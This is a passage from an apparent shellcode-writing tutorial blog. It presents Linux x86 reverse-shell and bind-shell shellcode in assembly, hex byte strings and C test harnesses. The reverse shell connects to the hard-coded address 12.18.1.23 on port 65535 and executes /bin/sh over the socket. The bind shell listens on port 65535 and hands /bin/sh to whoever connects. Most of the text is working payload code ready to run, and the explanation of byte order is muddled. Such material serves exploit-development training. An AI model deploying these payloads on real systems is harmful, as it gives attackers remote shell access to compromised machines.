OpenSocket:
 
 ;syscall socketcall 
 xor eax,eax
 xor ebx, ebx
 mov al, 102 
 
 ; build the argument array on the stack
 push ebx ;protocol = 0
 push 1 ; type = SOCK_STREAM (1)
 push 2 ;domain = PF_INET (2)
 mov ecx, esp ;pointer to argument array
 
 mov bl, 01 ;1 = SYS_SOCKET = socket()
 int 0x80
 
 mov esi, eax
 
 call ConnectSocket
 ret
 
ConnectSocket:
 ; syscall socketcall
 xor eax, eax
 xor ebx, ebx 
 mov al, 102 
 
 ;build sockaddr struct on the stack
 push dword 0x1701120c;ADDRESS =12.18.1.23
 push word 0xffff ; PORT = 65535
 push word 2 ; AF_INET = 2
 mov ecx, esp ; pointer to sockaddr struct
 
 mov bl, 3 ;3 = SYS_CONNECT = connect()
 
 push BYTE 16 ;sizeof(sockaddr struct) = 16 taken from the
 ;systrace SocketClient Cpp version
 
 push ecx ;sockaddr struct pointer
 push esi ;socket file descriptor
 mov ecx, esp ;pointer to argument array
 int 0x80 
 
 call Dup2OutInErr
 ret 
 
Dup2OutInErr:
 xor eax, eax
 xor ebx, ebx 
 
 ;syscall dup2
 mov al, 63 
 mov ebx, esi
 xor ecx, ecx ;duplicate stdin
 int 0x80 
 
 xor eax, eax
 xor ebx, ebx
 mov al, 63 ;syscall dup2
 mov ebx, esi
 inc ecx ;duplicate stdout, ebx still holds the socket fd
 int 0x80 
 
 xor eax, eax
 xor ebx, ebx
 mov al, 63 ;syscall dup2
 mov ebx, esi
 inc ecx
 inc ecx ;duplicate stdout, ebx still holds the socket fd
 int 0x80 
 
 call ExecuteBinSh
 ret

ExecuteBinSh:
 xor eax, eax
 xor ebx, ebx
 xor ecx, ecx
 
 push eax ;null bytes
 push 0x68732f2f ;//sh
 push 0x6e69622f ;/bin
 mov ebx, esp ;load address of /bin/sh
 
 push eax ;set argument to 0x0
 mov ecx, esp ;save the pointer to argument envp
 
 push eax ;set argument to 0x0
 mov edx, esp ;save the pointer to argument ptr
 
 mov al, 11 ;syscall execve
 int 0x80
 ret

_start:
 call OpenSocket
    

3. Test the shellcode

To test the shelcode we will follow the procedure described in Introduction to Linux shellcode writing – Test your shellcode but basically we retrieve the HEX version of the shellcode (using the commandlinefu.com command) from the binary and then we added to shellcode.c program.

The HEX version of the shellcode is the following one:

"\x31\xc0\x31\xdb\xb0\x66\x53\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xcd\x80
\x89\xc6\xe8\x01\x00\x00\x00\xc3\x31\xc0\x31\xdb\xb0\x66\x68\x0c\x12
\x01\x17\x66\x6a\xff\x66\x6a\x02\x89\xe1\xb3\x03\x6a\x10\x51\x56\x89
\xe1\xcd\x80\xe8\x01\x00\x00\x00\xc3\x31\xc0\x31\xdb\xb0\x3f\x89\xf3
\x31\xc9\xcd\x80\x31\xc0\x31\xdb\xb0\x3f\x89\xf3\x41\xcd\x80\x31\xc0
\x31\xdb\xb0\x3f\x89\xf3\x41\x41\xcd\x80\xe8\x01\x00\x00\x00\xc3\x31
\xc0\x31\xdb\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80\xc3\xe8\x78\xff\xff\xff"

3.1 Make the external IP address and port number as a parameter

In the actual code the external IP address and the port number are static (it’s the same for every execution). We would like to make these 2 things parametrisable . First we must find the HEX value of the instructions representing the IP address and the port number. Using the objdump with the following parameters:

objdump -d SocketClient -M intel | grep push

and we will find:

 804807f:    68 0c 12 01 17           push   0x1701120c
 8048084:    66 6a ff                 pushw  0xffff

So, in our binary representation of the shellcode we could make two constants representing the IP address and the port number:

#include<stdio.h>
#include<string.h>

#define PORT_NUMBER "\xff" // 0xffff
#define IP_ADDRESS "\x0c\x12\x01\x17"
unsigned char code[] = 
"\x31\xc0\x31\xdb\xb0\x66\x53\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xcd\x80"
"\x89\xc6\xe8\x01\x00\x00\x00\xc3\x31\xc0\x31\xdb\xb0\x66\x68\x6a"
IP_ADDRESS
"\x66"
PORT_NUMBER
"\x66\x6a\x02\x89\xe1\xb3\x03\x6a\x10\x51\x56\x89\xe1\xcd\x80\xe8\x01"
"\x00\x00\x00\xc3\x31\xc0\x31\xdb\xb0\x3f\x89\xf3\x31\xc9\xcd\x80\x31"
"\xc0\x31\xdb\xb0\x3f\x89\xf3\x41\xcd\x80\x31\xc0\x31\xdb\xb0\x3f\x89"
"\xf3\x41\x41\xcd\x80\xe8\x01\x00\x00\x00\xc3\x31\xc0\x31\xdb\x31\xc9"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe1\x50"
"\x89\xe2\xb0\x0b\xcd\x80\xc3\xe8\x78\xff\xff\xff";

main()
{
    printf("Shellcode Length:  %d\n", strlen(code));

    int (*ret)() = (int(*)())code;

    ret();
}

Last point about these two parameters(IP address and port number); these parameters are pushed on the stack in HEX version and due to the Little Endian  architecture of the Intel processors the parameters should be pushed in reverse order. For example if you want to push decimal 12345 (0x3039), you should push 54321 (0x3930).

In order to compute these two parameters in a correct way, I crafted 2 small bash scripts: fromIpToBigEndianHex.sh and fromPortNumberToBigEndianHex.sh

All the source codes explained presented in this ticket can be found here: gitHub.

Bibliography

How to write a (Linux x86) port-biding shellcode

Goal

The goal of this ticket is to write a shellcode that will open a socket on a specific port and executes a shell when someone connects to the specific port.

In order to complete this task I will try to follow the workflow that I presented in my previous tickets concerning shellcode writing  (Introduction to Linux shellcode writing, part 1 and part 2)  meaning that i will first write a C version, then I will try to translate the C version in assembler trying to avoid the common shellcode writing pitfalls like null bytes problem and the addressing problem.

1. The C version of the shellcode

The following listing represents a minimal version (no error checking is done) of a port-binding program. Basically the program is doing the following actions:

  • create a socket
  • binds the socket to an address and port
  • listen for the clients
  • accept a client connection
  • redirect the stdin, stdout and stderr to the new socket open by the client
  • execute “bin/sh”
  • close the sockets
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>

int main( int argc, char *argv[] ) {
   int serverSocketFileDescriptor;
   int clientSocketFileDescriptor; 
   int clilen;
   struct sockaddr_in serv_addr;
   struct sockaddr_in cli_addr;
   
   
   /* First call to socket() function */
   serverSocketFileDescriptor = socket(AF_INET, SOCK_STREAM, 0);
   
   /* Initialize socket structure */
   bzero((char *) &serv_addr, sizeof(serv_addr));
   
   serv_addr.sin_family = AF_INET;
   serv_addr.sin_addr.s_addr = INADDR_ANY;
   serv_addr.sin_port = htons(65535);
   
   /* Now bind the host address using bind() call.*/
   bind(serverSocketFileDescriptor, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
      
   /* 
     Now start listening for the clients, here the process will
   * go in sleep mode and will wait for the incoming connection
   */
   listen(serverSocketFileDescriptor,1);
   clilen = sizeof(cli_addr);
   
   /* Accept actual connection from the client */
   clientSocketFileDescriptor = accept(serverSocketFileDescriptor, (struct sockaddr *)&cli_addr, &clilen);

   /*Redirect to the new socket the sdtin,stdout,stderr*/
   dup2(clientSocketFileDescriptor, 0);
   dup2(clientSocketFileDescriptor, 1);
   dup2(clientSocketFileDescriptor, 2);

   /*execute /bin/sh */ 
   execve("/bin/sh", NULL, NULL);

   /* Close the sockets*/
   close(clientSocketFileDescriptor);
   close(serverSocketFileDescriptor);
}

2. The assembler version of the shellcode

2.1 Find the system call numbers of the functions used in the C version

The first step in order to write the assembler version is to find the system calls number for each of the calls used in the C version.

For all the socket operations there is only one system call, the number 102:

cat  /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket
#define __NR_socketcall 102

The sub calls numbers can be found in the file /usr/include/linux/net.h :

#define SYS_SOCKET    1        /* sys_socket(2)        */
#define SYS_BIND    2        /* sys_bind(2)            */
#define SYS_CONNECT    3        /* sys_connect(2)        */
#define SYS_LISTEN    4        /* sys_listen(2)        */
#define SYS_ACCEPT    5        /* sys_accept(2)        */

For all the others calls (dup2, execve and close) the system call numbers are:

#define __NR_dup2 63
#define __NR_execve 11
#define __NR_close 6

The second step is to take a look to the man pages of each of the functions used to check the needed parameters for each of the functions.

2.2 Implement the assembler version for each of the functions from the C program

Once we have all the necessary informations for the functions used in the C version (the system call numbers and the parameters) the next step is to write the assembler version of the C program.

For the assembler implementation I decided to encapsulate each of the system calls in different functions for (code) clarity reasons even if the shellcode would be bigger. Initially my plan was to have something like this in the _start section of the program:

_start:
    call OpenSocket
    call BindSocket
    call ListenSocket
    call AcceptSocket
    call Dup2OutInErr
    call ExecuteBinSh

Unfortunately, even if the original implementation worked flawlessly, the  embarked shellcode didn’t worked and I was not able to find the root cause. So, the working implementation is still contains different assembler functions for each C function but each function calls the following one:

_start:
    call OpenSocket
        ...
        call BindSocket 
            ...
            call ListenSocket
                ...
                call AcceptSocket        
                    ...
                    call Dup2OutInErr
                        ...
                        call ExecuteBinSh
                            ...
                        ret    
                    ret
                ret
            ret
        ret    
    ret

The assembler implementation of the port-biding shellcode is the following one:

; Filename: SocketServer.nasm
; Author:  [email protected]
; Website: itblog.adrian.citu.name

global _start
section .text
OpenSocket:
     
    ;syscall socketcall  
    xor eax,eax
    xor ebx, ebx
    mov al, 102     
    
    ; build the argument array on the stack
    push ebx ;protocol = 0
    push 1 ; type = SOCK_STREAM (1)
    push 2 ;domain = PF_INET (2)
    mov ecx, esp ;pointer to argument array
    mov bl, 01 ;1 = SYS_SOCKET = socket()
    int 0x80
  
    mov esi, eax
    call BindSocket
    ret
BindSocket:

    ; syscall socketcall
    xor eax, eax
    xor ebx, ebx    
    mov al, 102 
 
    ;build sockaddr struct on the stack
    push ebx          ; INADDR_ANY = 0
    push word 0xffff  ; PORT = 65535
    push word 2       ; AF_INET = 2
    mov ecx, esp      ; pointer to sockaddr struct
    mov bl, 2         ;2 = SYS_BIND = bind()
    push BYTE 16      ;sizeof(sockaddr struct) = 16 taken from the
                      ;systrace SocketServerCpp version                
    push ecx          ;sockaddr struct pointer
    push esi          ;socket file descriptor
    mov ecx, esp      ;pointer to argument array
    int 0x80      
 
    call ListenSocket
    ret 
    
ListenSocket:
    ;syscall socketcall
    xor eax, eax
    xor ebx, ebx    
    mov al, 102  
    mov bl, 4    ;4 = SYS_LISTEN = listen()
    
    ; build the Listen() arguments on the stack
    push 1
    push esi     ; socket file descriptor
    mov ecx, esp ; pointer to argument array
    int 0x80      ; kernel interrupt        
    
    call AcceptSocket
    ret

AcceptSocket:
    xor eax, eax
    xor ebx, ebx 
    xor edx, edx
    
    mov al, 102    ;syscall socketcall
    mov bl, 5      ;5 = SYS_ACCEPT = accept()
 
    ; build the accept() arguments on the stack
    push edx                ;socklen = 0
    push edx                ;sockaddr pointer = 0
    push esi                ;socket file descriptor
    mov ecx, esp            ;pointer to argument array
    int 0x80             
    
    mov esi, eax            ;store the new file descriptor
    call Dup2OutInErr
    ret
    
Dup2OutInErr:
    xor eax, eax
    xor ebx, ebx     
    
    ;syscall dup2
    mov al, 63   
    mov ebx, esi
    xor ecx, ecx ;duplicate stdin
    int 0x80 
    
    xor eax, eax
    xor ebx, ebx
    mov al, 63   ;syscall dup2
    mov ebx, esi
    inc ecx      ;duplicate stdout, ebx still holds the socket fd
    int 0x80  
    
    xor eax, eax
    xor ebx, ebx
    mov al, 63    ;syscall dup2
    mov ebx, esi
    inc ecx
    inc ecx      ;duplicate stdout, ebx still holds the socket fd
    int 0x80  
    
    call ExecuteBinSh
    ret

ExecuteBinSh:
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    
    push eax        ;null bytes
    push 0x68732f2f ;//sh
    push 0x6e69622f ;/bin
    mov ebx, esp    ;load address of /bin/sh
     
    push eax ;set argument to 0x0
    mov ecx, esp ;save the pointer to argument envp
 
    push eax ;set argument to 0x0
    mov edx, esp ;save the pointer to argument ptr
    
    mov al, 11 ;syscall execve
    int 0x80
 
    ret
_start:
    call OpenSocket
    

3. Test the shellcode

To test the shelcode we will follow the procedure described in Introduction to Linux shellcode writing – Test your shellcode but basically we retrieve the HEX version of the shellcode (using the commandlinefu.com command) from the binary and then we added to shellcode.c program.

The HEX version of the shellcode is the following one:

 "\x31\xc0\x31\xdb\xb0\x66\x53\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xcd\x80\x89\xc6\xe8\x01
\x00\x00\x00\xc3\x31\xc0\x31\xdb\xb0\x66\x53\x66\x6a\xff\x66\x6a\x02\x89\xe1\xb3\x02
\x6a\x10\x51\x56\x89\xe1\xcd\x80\xe8\x01\x00\x00\x00\xc3\x31\xc0\x31\xdb\xb0\x66\xb3
\x04\x6a\x01\x56\x89\xe1\xcd\x80\xe8\x01\x00\x00\x00\xc3\x31\xc0\x31\xdb
\x31\xd2\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc6\xe8\x01\x00\x00\x00\xc3
\x31\xc0\x31\xdb\xb0\x3f\x89\xf3\x31\xc9\xcd\x80\x31\xc0\x31\xdb\xb0\x3f\x89\xf3\x41
\xcd\x80\x31\xc0\x31\xdb\xb0\x3f\x89\xf3\x41\x41\xcd\x80\xe8\x01\x00\x00\x00\xc3\x31
\xc0\x31\xdb\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe1
\x50\x89\xe2\xb0\x0b\xcd\x80\xc3\xe8\x4e\xff\xff\xff"

3.1 Make the port number as a parameter

In the actual code the port number is static (it’s the same for every execution, 0xffff). We would like to make it as a parameter. First we must find the HEX value of the instruction representing the port number. Using the objdump with the following parameters:

objdump -d SocketServer -M intel | grep ffff

and we will find:

8048080:    66 6a ff                 pushw  0xffff

So, in our binary representation of the shellcode we could make a constant reprenting the port number something like:

#include<stdio.h>
#include<string.h>

#define PORT_NUMBER "\xff" // 0xffff

unsigned char code[] = \
"\x31\xc0\x31\xdb\xb0\x66\x53\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xcd\x80\x89"
"\xc6\xe8\x01\x00\x00\x00\xc3\x31\xc0\x31\xdb\xb0\x66\x53\x66\x6a"
PORT_NUMBER
"\x66\x6a\x02\x89\xe1\xb3\x02\x6a\x10\x51\x56\x89\xe1\xcd\x80\xe8\x01"
"\x00\x00\x00\xc3\x31\xc0\x31\xdb\xb0\x66\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80"
"\xe8\x01\x00\x00\x00\xc3\x31\xc0\x31\xdb\x31\xd2\xb0\x66\xb3\x05\x52\x52\x56"
"\x89\xe1\xcd\x80\x89\xc6\xe8\x01\x00\x00\x00\xc3\x31\xc0\x31\xdb"
"\xb0\x3f\x89\xf3\x31\xc9\xcd\x80\x31\xc0\x31\xdb\xb0\x3f\x89\xf3\x41"
"\xcd\x80\x31\xc0\x31\xdb\xb0\x3f\x89\xf3\x41\x41\xcd\x80\xe8\x01\x00"
"\x00\x00\xc3\x31\xc0\x31\xdb\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80\xc3\xe8\x4e\xff\xff\xff";


main()
{
    printf("Shellcode Length:  %d\n", strlen(code));

    int (*ret)() = (int(*)())code;

    ret();
}

Last point about the port number; the port number is pushed on the stack in HEX version and due to the Little Endian  architecture of the Intel processors the port number should be pushed in reverse order. For example if you want to push decimal 12345 (0x3039), you should push 54321 (0x3930). You can use this small sh script to compute the port number in “good” order: https://github.com/AdrianCitu/slae/blob/master/slae1/portCalc.sh

All the source codes explained presented in this ticket can be found here: gitHub.

Bibliography